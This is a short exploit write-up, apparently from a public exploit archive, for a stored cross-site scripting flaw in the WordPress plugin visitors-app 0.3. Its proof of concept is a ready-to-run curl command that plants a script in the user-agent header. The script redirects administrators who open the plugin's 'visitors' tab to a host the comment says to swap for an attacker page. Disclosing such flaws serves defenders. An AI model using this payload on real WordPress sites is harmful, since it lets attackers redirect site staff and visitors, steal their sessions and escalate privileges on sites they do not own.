# Exploit Title: WordPress Plugin visitors-app 0.3 - 'user-agent' Stored Cross-Site Scripting (XSS) # Date: 09/06/2021 # Exploit Author: Mesut Cetin # Vendor Homepage: https://profiles.wordpress.org/domingoruiz/ # Software Link: https://wordpress.org/plugins/visitors-app/ # Version: 0.3 # Tested on: Debian GNU/Linux 10 # Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc ## Description: # A vulnerability in the Wordpress plugin "visitors" version 0.3 and prior allows remote attacker through # Cross-Site Scripting (XSS) to redirect administrators and visitors and potentially obtain sensitive informations # The 'user-agent' parameter allows attacker to escalate their privileges. ## PoC # Replace google.com with malicious attacker page curl -i http://localhost/wordpress --user-agent "</script><script>location=([]+/http:\\google.com/g).substr(1,19); </script>" # on http://localhost/wordpress/wp-admin, browse the tab "visitors"